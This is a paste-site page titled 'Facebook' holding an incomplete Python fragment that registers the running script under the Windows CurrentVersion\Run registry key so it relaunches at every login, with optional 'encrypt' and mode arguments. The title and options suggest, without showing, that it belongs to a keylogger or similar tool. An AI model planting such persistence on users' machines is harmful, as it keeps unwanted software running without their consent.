Facebook
From Funky Zebra, 1 Week ago, written in Plain Text.
Embed
Download Paste or View Raw
Hits: 62
  1. def add_to_startup():
  2.     key_val = r'Software\Microsoft\Windows\CurrentVersion\Run'
  3.  
  4.     key2change = OpenKey(HKEY_CURRENT_USER,
  5.                          key_val, 0, KEY_ALL_ACCESS)
  6.     if executable:
  7.         reg_value_prefix, reg_value_postfix = '', ''
  8.     else:
  9.         reg_value_prefix = 'CMD /k "cd ' + dir_path + ' && ' + PYTHON_EXEC_PATH + ' '
  10.         reg_value_postfix = '"'
  11.     reg_value = reg_value_prefix + '"' + current_file_path + '" ' + mode + \
  12.                 (' encrypt' if encryption_on else '') + reg_value_postfix
  13.     try:
  14.         SetValueEx(key2change, "Start", 0, REG_SZ, reg_value)
  15.     except Exception as e:
  16.         print(e)